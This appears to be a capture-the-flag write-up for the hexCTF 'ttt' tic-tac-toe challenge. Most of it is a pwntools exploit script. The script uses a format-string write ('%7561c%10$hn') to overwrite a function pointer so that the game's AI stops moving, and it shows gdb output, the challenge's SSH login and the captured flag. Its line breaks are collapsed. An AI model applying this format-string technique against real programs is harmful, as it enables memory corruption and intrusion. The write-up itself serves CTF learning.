### Exploit code:
```#!/usr/bin/env pythonfrom pwn import *
elf = context.binary = ELF('./ttt',checksec=False)
if args.REMOTE:    s1 = ssh("ttt","challenges2.hexionteam.com",3004,"hexctf")    proc = s1.process('./ttt')else:    proc = process(elf.path)
"""============Attack plan:============Use format string bug in the following code:
    puts("Please enter your name: ");    scanf("%24s", name);    getchar();    snprintf(message, 100, "Welcome %s!\n", name);
To change the value of the function the AI uses to decide its move:
    logic_func DIFFICULTY = IMPOSSIBLE;
Basically we just change the function to a "return 0;".
Testing it out with gdb:
    pwndbg> x/gx 0x603010    0x603010 <DIFFICULTY>:	0x0000000000401cd5    pwndbg> x/2i 0x0000000000401cd5       0x401cd5 <IMPOSSIBLE>:	push   rbp       0x401cd6 <IMPOSSIBLE+1>:	mov    rbp,rsp    pwndbg> x/65i 0x401d91       0x401d91 <IMPOSSIBLE+188>:	mov    eax,0x0       0x401d96 <IMPOSSIBLE+193>:	jmp    0x401d9c <IMPOSSIBLE+199>       0x401d98 <IMPOSSIBLE+195>:	movsx  eax,BYTE PTR [rbp-0xd]       0x401d9c <IMPOSSIBLE+199>:	leave         0x401d9d <IMPOSSIBLE+200>:	ret        pwndbg> set *(long *)0x603010=0x401d91
And then playing against the AI, we find that if we make the following moves:
    ,---,---,---,    |   |   |   |    |---+---+---|    |   |   |   |    |---+---+---|    | 3 | 2 | 1 |    '---'---'---'
Its doesnt make a move agaisnt us.
So, we just need to change the value at 0x603010, from 0x401cd5 to 0x401d91.This is just a write of two bytes, which we can do easily with out format string bug.We just need to know our input starts at positional argument and to remember that8 bytes have already been printed by the "Welcome "."""proc.recvuntil('your name: \n')fmt = '%7561c%10$hnaaaa'+p64(0x603010)proc.sendline(fmt)
proc.recvuntil('Press ENTER to begin.\n')proc.sendline('')   # send enterproc.sendline('a')  # go left (wrap into last column)proc.sendline('s')  # move down to middle row.proc.sendline('s')  # move down to bottom row.proc.sendline(' ')  # send space to fill square (bottom-left)proc.sendline('a')  # move left (into middle column)proc.sendline(' ')  # send space to fill square (bottom-middle)proc.sendline('a')  # move left (into left column)proc.sendline(' ')  # send space to fill square (bottom-left)proc.sendline('q')  # finish game
lines_printed = proc.recvuntil('Do you want to play again?')print "\n".join(lines_printed.split('\n')[-4:])```
### Using it:
```$ ./exploit.py REMOTE[+] Connecting to challenges2.hexionteam.com on port 3004: Done[*] [email protected]:Distro    Unknown OS:       linuxArch:     amd64Version:  5.0.0ASLR:     Enabled[+] Starting rem*
hexCTF{h3y_th4ts_ch3at1ng}Do you want to play again?$```